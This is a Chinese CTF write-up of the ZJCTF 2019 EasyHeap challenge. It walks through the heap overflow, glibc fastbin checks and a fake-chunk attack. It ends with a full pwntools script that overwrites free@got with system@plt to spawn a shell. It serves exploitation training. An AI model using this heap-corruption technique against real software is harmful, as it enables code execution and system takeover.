今天做了一个我认为很经典的题目,应该算是对fastbin attack有了更深刻的理解了,之前一直是模模糊糊的概念,不大懂
本文引用了其他师傅博客的原文,如有侵权请联系我删除
直接上题目,在题目里穿插知识点
[ZJCTF 2019]EasyHeap
分析代码
存在如下功能:
1.add
2.edit
3.free
4.exit
main函数不贴了,长得和hitcontrainning的magicheap几乎一样
unsigned __int64 create_heap()
{
signed int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
heaparray[i] = malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:", &buf);
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 edit_heap()
{
size_t v0; // ST08_8
int v2; // [rsp+4h] [rbp-1Ch]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v2 = atoi(&buf);
if ( v2 < 0 || v2 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v2] )
{
printf("Size of Heap : ", &buf);
read(0, &buf, 8uLL);
v0 = atoi(&buf);
printf("Content of heap : ", &buf);
read_input(heaparray[v2], v0);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
heaparray是在栈上的,起始地址是0x6020e0,意思是堆指针都存在BSS段上
edit函数存在任意字节溢出
free之后指针置零,不存在UAF
没有show函数,不能leak libc,但是程序中存在system函数,我们只要想办法把free_got改成system_plt,然后free一个已经写入了/bin/sh的chunk,就能getshell了
那我们要改got表里面的内容,就需要有一块指针为free_got的chunk
chunk指针都是存在bss段上的,我们只要将bss段上对应位置的chunk指针改成free_got就行
这里用到的攻击方式是house of spirit,利用fastbin和堆溢出,把在fastbin链尾的堆块的fd指针(正常情况下是0x0)改写为我们精心构造的fake chunk的地址,注意这个地址要在0x6020e0前面找,这样我们malloc到fake chunk之后,(malloc到fake chunk的意思就是,add一块以我们指定地址为chunk指针的chunk)通过edit就能向下覆写堆块指针。
经过踩在巨人的肩膀上眺望,发现可以构造一个大概长这样的
如果从fastbins中malloc一个freechunk时,glibc会做以下两个检测:
检测1:检测你要malloc的freechunk的大小是否在该chunk所在的fastbin链的大小尺寸范围内(例如:一个fastbin链所存储的chunk大小必须在0x30-0x40之间,但是你要申请的这个chunk却是0x50,那么就会程序就报错退出)
检测2:检测你这个freechunk的size成员的PREV_INUSE为是否为1,为1才可以通过检测
可以利用以下技巧:
技巧①:我们malloc的时候,尽量malloc一个大小在0x70~0x80之间的堆块(因此malloc的参数要为0x60~0x70之间),因为这样我们的目标地址就会被放入0x70~0x80大小范围的fastbin链中,此时我们去构造堆块的时候,由于系统中0x7f这样的数值比较好找,所以能够构造0x7f这样的数值来跳过glibc的检测
技巧②:接着技巧①,如果此时我们没有数值为0x7f这样的地址来让我们构造,那么我们就需要使用借助unsortedbin attack了,利用unsortedbin attack向我们的目标地址处写入一个0x7f的数值
引用自:https://blog.csdn.net/qq_41453285/article/details/99315504
之前做过一个题,需要add两次add到想要的地址,这里也是一样的
add之前,bins里长这样
然后add两次就能有一块以0x6020ad为指针的chunk了
add到0x6020ad之后,那个地址大概长这样
然后我们从这个地址可控地址开始,也就是0x6020c0(0x6020ad+0x10(chunk头)+3)开始向下写,改掉chunk0的指针
改掉之后,长这样
然后把chunk0的内容改成system_plt,就能达到改free_got的效果了
exp
#!/usr/bin/env python
#coding=utf-8
from pwn import*
from LibcSearcher import *
import sys
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './easyheap'
local = 1
if local == 1:
p=process(binary)
else:
p=remote("node3.buuoj.cn",25249)
elf=ELF(binary)
libc=elf.libc
def add(size,content):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("Heap : ")
p.sendline(str(size))
p.recvuntil("heap:")
p.send(content)
def edit(index,size,content):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Heap : ")
p.sendline(str(size))
p.recvuntil("heap : ")
p.send(content)
def free(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
def exp():
add(0x68,"aaaa") # 0
add(0x68,"bbbb") # 1
add(0x68,"cccc") # 2
free(2)
payload = "/bin/sh\x00" + "a"*0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
add(0x68,"fuck") # 2
payload = "a"*3 + p64(0)*4 + p64(elf.got['free'])
add(0x68,payload)
payload = p64(elf.plt['system'])
edit(0,len(payload),payload)
free(1)
gdb.attach(p)
p.interactive()
exp()
这个题可谓经典之至,让我加深了对fastbin attack的理解,检测机制,学习了house of spirit
参考链接:
https://blog.csdn.net/BengDouLove/article/details/105391153
https://blog.csdn.net/qq_41453285/article/details/99315504
https://blog.csdn.net/qq_41453285/article/details/99329694